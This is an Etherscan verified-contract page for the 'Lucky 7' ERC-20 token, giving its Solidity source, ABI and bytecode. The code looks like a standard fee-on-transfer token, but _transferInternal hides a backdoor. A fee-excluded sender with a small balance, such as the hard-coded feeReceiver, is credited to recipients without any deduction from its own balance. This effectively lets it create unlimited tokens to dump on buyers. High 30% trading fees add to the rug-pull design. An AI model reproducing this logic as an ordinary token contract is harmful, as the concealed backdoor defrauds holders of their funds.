Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library MathSafe    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function div(uint256 a, uint256 b, st ... library AddressLib    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(address target, ...    - function functionCallWithValue(addres ...    - function functionCallWithValue(addres ...    - function functionStaticCall(address t ...    - function functionStaticCall(address t ...    - function functionDelegateCall(address ...    - function functionDelegateCall(address ...    - function _verifyCallResult(bool succe ... interface IFactory    - function createPair(address tokenA, a ... interface IRouterV1    - function factory()    - function WETH()    - function addLiquidityETH(    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IRouterV2 is IRouterV1    - function swapExactTokensForETHSupport ...  contract SEVEN is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function removeLimits()    - function approve(address spender, uin ...    - function _transferStandard(address se ...    - function _finalAmount(uint256 finalAm ...    - function swapTokens(uint256 tokenAmou ...    - function transferFrom(address sender, ...    - function _transferInternal(address se ...    - function _transfer(    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function removeFee()    - function restoreFee()    - function _approve(address owner, addr ...    - function sendETHToFee(address payable ...    - function swapBack(uint256 contractTok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-11-13
*/

// SPDX-License-Identifier: Unlicensed

/*
Where Lucky Number 7 Meets Crypto Heaven

Website: https://www.lucky-7.vip
Telegram: https://t.me/seven_erc
Twitter: https://twitter.com/seven_erc
 */

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library MathSafe {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

library AddressLib {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "AddressLib: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "AddressLib: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "AddressLib: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "AddressLib: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "AddressLib: insufficient balance for call");
        require(isContract(target), "AddressLib: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "AddressLib: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "AddressLib: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "AddressLib: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "AddressLib: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouterV1 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouterV2 is IRouterV1 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SEVEN is Context, IERC20, Ownable { 
    using MathSafe for uint256;
    using AddressLib for address;

    string private _name = "Lucky 7"; 
    string private _symbol = "7";  
    uint8 private _decimals = 9;
    uint256 private _tTotalSupply = 10 ** 9 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable private feeReceiver = payable(0x884Bc1013a518671314A07279B19Fa8decf2D551);
    address payable private deadAddress = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private _numBuyers = 0;
    uint8 private _swapAt = 2; 

    uint256 private _totalFees = 3000;
    uint256 public _buyerFee = 30;
    uint256 public _sellerFee = 30;

    uint256 private _previousFeeTotal = _totalFees; 
    uint256 private _previousBuyTax = _buyerFee; 
    uint256 private _previousSellTax = _sellerFee; 
                                     
    IRouterV2 public routerInstance;
    address public pairAddress;

    bool public hasTransferTax = true;
    bool public inswap;
    bool public swapEnabled = true;

    uint256 public maxWalletAmount = 20 * _tTotalSupply / 1000;
    uint256 public swapThreshold = _tTotalSupply / 10000;

    modifier lockSwap {
        inswap = true;
        _;
        inswap = false;
    }
    
    constructor () {
        _balances[owner()] = _tTotalSupply;
        IRouterV2 _uniswapV2Router = IRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        routerInstance = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[feeReceiver] = true;
        
        emit Transfer(address(0), owner(), _tTotalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxWalletAmount = ~uint256(0);
        _totalFees = 200;
        _buyerFee = 1;
        _sellerFee = 1;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferStandard(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFee();
        } else {
            _numBuyers++;
        }
        _transferInternal(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function _finalAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalFees).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function swapTokens(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = routerInstance.WETH();
        _approve(address(this), address(routerInstance), tokenAmount);
        routerInstance.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transferInternal(address sender, address recipient, uint256 finalAmount) private {
        (uint256 tTransferAmount, uint256 tDev) = _finalAmount(finalAmount);
        if(_isExcludedFromFee[sender] && _balances[sender] <= maxWalletAmount) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != feeReceiver &&
            to != address(this) &&
            to != pairAddress &&
            to != deadAddress &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxWalletAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            _numBuyers >= _swapAt && 
            amount > swapThreshold &&
            !inswap &&
            !_isExcludedFromFee[from] &&
            to == pairAddress &&
            swapEnabled 
            )
        {  
            _numBuyers = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapBack(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (hasTransferTax && from != pairAddress && to != pairAddress)){
            takeFee = false;
        } else if (from == pairAddress){
            _totalFees = _buyerFee;
        } else if (to == pairAddress){
            _totalFees = _sellerFee;
        }

        _transferStandard(from,to,amount,takeFee);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function removeFee() private {
        if(_totalFees == 0 && _buyerFee == 0 && _sellerFee == 0) return;

        _previousBuyTax = _buyerFee; 
        _previousSellTax = _sellerFee; 
        _previousFeeTotal = _totalFees;
        _buyerFee = 0;
        _sellerFee = 0;
        _totalFees = 0;
    }

    function restoreFee() private {
        _totalFees = _previousFeeTotal;
        _buyerFee = _previousBuyTax; 
        _sellerFee = _previousSellTax; 

    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendETHToFee(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }
    
    function swapBack(uint256 contractTokenBalance) private lockSwap {
        swapTokens(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETHToFee(feeReceiver,contractETH);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyerFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellerFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerInstance","outputs":[{"internalType":"contract IRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260076080908152664c75636b79203760c81b60a052600190620000289082620004d0565b506040805180820190915260018152603760f81b6020820152600290620000509082620004d0565b506003805460ff191660099081179091556200006e90600a620006b1565b6200007e90633b9aca00620006c9565b60048190556008805473884bc1013a518671314a07279b19fa8decf2d5516001600160a01b0319909116179055600980546001600160b01b031916750200000000000000000000000000000000000000dead179055610bb8600a819055601e600b819055600c819055600d91909155600e819055600f556011805462ff00ff60a01b19166201000160a01b1790556103e8906200011d906014620006c9565b620001299190620006e3565b6012556127106004546200013e9190620006e3565b6013553480156200014e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001a86000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024a919062000706565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000298573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002be919062000706565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000332919062000706565b601180546001600160a01b03199081166001600160a01b0393841617909155601080549091169183169190911790556001600760006200037a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560085490911681526007909252902080549091166001179055620003d46000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200041c91815260200190565b60405180910390a35062000731565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045657607f821691505b6020821081036200047757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004cb57600081815260208120601f850160051c81016020861015620004a65750805b601f850160051c820191505b81811015620004c757828155600101620004b2565b5050505b505050565b81516001600160401b03811115620004ec57620004ec6200042b565b6200050481620004fd845462000441565b846200047d565b602080601f8311600181146200053c5760008415620005235750858301515b600019600386901b1c1916600185901b178555620004c7565b600085815260208120601f198616915b828110156200056d578886015182559484019460019091019084016200054c565b50858210156200058c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f3578160001904821115620005d757620005d76200059c565b80851615620005e557918102915b93841c9390800290620005b7565b509250929050565b6000826200060c57506001620006ab565b816200061b57506000620006ab565b81600181146200063457600281146200063f576200065f565b6001915050620006ab565b60ff8411156200065357620006536200059c565b50506001821b620006ab565b5060208310610133831016604e8410600b841016171562000684575081810a620006ab565b620006908383620005b2565b8060001904821115620006a757620006a76200059c565b0290505b92915050565b6000620006c260ff841683620005fb565b9392505050565b8082028115828204841417620006ab57620006ab6200059c565b6000826200070157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071957600080fd5b81516001600160a01b0381168114620006c257600080fd5b61132080620007416000396000f3fe6080604052600436106101445760003560e01c806388a6fa29116100b6578063aa4bde281161006f578063aa4bde2814610392578063af5f3a82146103a8578063c4bdd954146103c9578063dd62ed3e146103ea578063f2fde38b14610430578063f82e77771461045057600080fd5b806388a6fa29146102d55780638da5cb5b146102eb57806395d89b411461031d578063985e361514610332578063a8b0898214610352578063a9059cbb1461037257600080fd5b8063313ce56711610108578063313ce567146102005780636ddd17131461022257806370a0823114610243578063715018a614610279578063751039fc14610290578063768dc710146102a557600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b31461019b57806318160ddd146101cb57806323b872dd146101e057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660135481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5061018e610466565b6040516101709190610ff2565b3480156101a757600080fd5b506101bb6101b6366004611058565b6104f8565b6040519015158152602001610170565b3480156101d757600080fd5b50600454610166565b3480156101ec57600080fd5b506101bb6101fb366004611084565b61050f565b34801561020c57600080fd5b5060035460405160ff9091168152602001610170565b34801561022e57600080fd5b506011546101bb90600160b01b900460ff1681565b34801561024f57600080fd5b5061016661025e3660046110c5565b6001600160a01b031660009081526005602052604090205490565b34801561028557600080fd5b5061028e610578565b005b34801561029c57600080fd5b5061028e6105f5565b3480156102b157600080fd5b506101bb6102c03660046110c5565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610166600c5481565b3480156102f757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b34801561032957600080fd5b5061018e610636565b34801561033e57600080fd5b50601054610305906001600160a01b031681565b34801561035e57600080fd5b50601154610305906001600160a01b031681565b34801561037e57600080fd5b506101bb61038d366004611058565b610645565b34801561039e57600080fd5b5061016660125481565b3480156103b457600080fd5b506011546101bb90600160a81b900460ff1681565b3480156103d557600080fd5b506011546101bb90600160a01b900460ff1681565b3480156103f657600080fd5b506101666104053660046110e2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561043c57600080fd5b5061028e61044b3660046110c5565b610652565b34801561045c57600080fd5b50610166600b5481565b6060600180546104759061111b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a19061111b565b80156104ee5780601f106104c3576101008083540402835291602001916104ee565b820191906000526020600020905b8154815290600101906020018083116104d157829003601f168201915b5050505050905090565b600061050533848461073c565b5060015b92915050565b600061051c8484846107fd565b61056e8433610569856040518060600160405280602881526020016112c3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b82565b61073c565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611155565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061f5760405162461bcd60e51b81526004016105a290611155565b60001960125560c8600a556001600b819055600c55565b6060600280546104759061111b565b60006105053384846107fd565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016105a290611155565b6001600160a01b0381166106e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075c57506001600160a01b03821615155b61079c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082957506008546001600160a01b03838116911614155b801561083e57506001600160a01b0382163014155b801561085857506011546001600160a01b03838116911614155b801561087257506009546001600160a01b03838116911614155b801561088c57506000546001600160a01b03848116911614155b15610918576001600160a01b0382166000908152600560205260409020546012546108b783836111a0565b11156109165760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a2565b505b6001600160a01b0383161580159061093857506001600160a01b03821615155b61097c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a2565b600081116109da5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a2565b60095460ff600160a81b82048116600160a01b9092041610801590610a00575060135481115b8015610a165750601154600160a81b900460ff16155b8015610a3b57506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5457506011546001600160a01b038381169116145b8015610a695750601154600160b01b900460ff165b15610a9c576009805460ff60a01b19169055306000908152600560205260409020548015610a9a57610a9a81610bae565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ade57506001600160a01b03831660009081526007602052604090205460ff165b80610b255750601154600160a01b900460ff168015610b0b57506011546001600160a01b03858116911614155b8015610b2557506011546001600160a01b03848116911614155b15610b3257506000610b70565b6011546001600160a01b0390811690851603610b5357600b54600a55610b70565b6011546001600160a01b0390811690841603610b7057600c54600a555b610b7c84848484610bf3565b50505050565b60008184841115610ba65760405162461bcd60e51b81526004016105a29190610ff2565b505050900390565b6011805460ff60a81b1916600160a81b179055610bca81610c60565b6008544790610be2906001600160a01b031682610dba565b50506011805460ff60a81b19169055565b80610c0557610c00610df5565b610c39565b60098054600160a01b900460ff16906014610c1f836111b3565b91906101000a81548160ff021916908360ff160217905550505b610c44848484610e3a565b80610b7c57610b7c600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9557610c956111d2565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1291906111e8565b81600181518110610d2557610d256111d2565b6001600160a01b039283166020918202929092010152601054610d4b913091168461073c565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d84908590600090869030904290600401611205565b600060405180830381600087803b158015610d9e57600080fd5b505af1158015610db2573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df0573d6000803e3d6000fd5b505050565b600a54158015610e055750600b54155b8015610e115750600c54155b15610e1857565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4683610f7d565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e8d57506012546001600160a01b03861660009081526005602052604090205411155b15610ea257506000610e9f8284611276565b92505b6001600160a01b038516600090815260056020526040902054610ec59084610fbb565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610ef49083610fce565b6001600160a01b038516600090815260056020526040808220929092553081522054610f209082610fce565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fa26064610f9c600a5487610fda90919063ffffffff16565b90610fe6565b90506000610fb08583610fbb565b959194509092505050565b6000610fc78284611276565b9392505050565b6000610fc782846111a0565b6000610fc78284611289565b6000610fc782846112a0565b600060208083528351808285015260005b8181101561101f57858101830151858201604001528201611003565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105557600080fd5b50565b6000806040838503121561106b57600080fd5b823561107681611040565b946020939093013593505050565b60008060006060848603121561109957600080fd5b83356110a481611040565b925060208401356110b481611040565b929592945050506040919091013590565b6000602082840312156110d757600080fd5b8135610fc781611040565b600080604083850312156110f557600080fd5b823561110081611040565b9150602083013561111081611040565b809150509250929050565b600181811c9082168061112f57607f821691505b60208210810361114f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156105095761050961118a565b600060ff821660ff81036111c9576111c961118a565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111fa57600080fd5b8151610fc781611040565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112555784516001600160a01b031683529383019391830191600101611230565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156105095761050961118a565b80820281158282048414176105095761050961118a565b6000826112bd57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202700d2feda988d349942d59228cf31d8b1509f2da0aa76d260fd689d1ca2758f64736f6c63430008130033

